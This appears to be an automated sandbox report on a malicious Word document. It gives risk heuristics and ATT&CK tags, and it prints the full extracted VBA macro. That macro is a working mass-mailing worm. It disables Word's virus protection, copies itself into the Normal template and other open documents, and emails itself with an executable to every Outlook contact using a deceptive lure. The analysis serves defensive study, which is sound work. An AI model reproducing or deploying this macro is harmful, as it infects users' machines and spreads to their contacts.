MALICIOUS
180
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1505.003 Server Software Component: Service Execution
The sample contains a legacy WordBasic AutoOpen macro, which is a strong indicator of malicious intent. The macro attempts to export VBA code to a file named 'win32k.dll' and potentially spread itself to other documents and the Normal template. This behavior suggests an attempt to establish persistence or facilitate further infection.
Heuristics 4
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject call
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 2389 bytes |
SHA-256: 9187dc330efa769b8c10ea752ea5936640d086a0cebf4ca580e474714afc9662 |
|||
|
Detection
ClamAV:
Doc.Trojan.Outa-2
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "Module1"
Sub AutoOpen()
On Error Resume Next
Application.ScreenUpdating = False
Application.DisplayAlerts = wdAlertsNone
Options.SaveNormalPrompt = False
Options.VirusProtection = False
Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="Module1", Object:=wdOrganizerObjectProjectItems
End Sub
Sub FileSave()
On Error Resume Next
Set fso = CreateObject("Scripting.FileSystemObject")
Set DirSys = fso.GetSpecialFolder(1)
vcode = DirSys & "\win32k.dll"
ThisDocument.VBProject.VBComponents(2).Export (vcode)
If NormalTemplate.VBProject.VBComponents.Count = 2 Then
NormalTemplate.VBProject.VBComponents(2).Export (vcode)
End If
For i = 1 To Documents.Count
installed = False
If Documents(i).VBProject.VBComponents.Count = 2 Then
If Documents(i).VBProject.VBComponents(2).Name = "Module1" Then
installed = True
End If
End If
If installed = False Then
Documents(i).VBProject.VBComponents.Import (vcode)
Documents(i).Save
End If
Next
If ActiveDocument.VBProject.VBComponents.Count = 2 Then
If ActiveDocument.VBProject.VBComponents(2).Name = "Module1" Then
Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="Module1", Object:=wdOrganizerObjectProjectItems
End If
End If
NormalTemplate.Save
Set Outlook = CreateObject("Outlook.Application")
Set mapi = Outlook.GetNameSpace("MAPI")
ThisDocument.Save
doc = ThisDocument.FullName
For i = 1 To mapi.AddressLists.Count
Set a = mapi.AddressLists(i)
For x = 1 To a.AddressEntries.Count
Set newMail = Outlook.CreateItem(0)
newMail.Recipients.Add (a.AddressEntries(x))
newMail.Subject = "You should look at this"
newMail.Body = "Hello," & vbCrLf & "I found these files on my HDD and it seems it's yours. Please check them out and give me know." & vbCrLf & "Thank you."
newMail.Attachments.Add (DirSys & "\next.exe")
newMail.Attachments.Add (doc)
newMail.Send
Next
Next
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.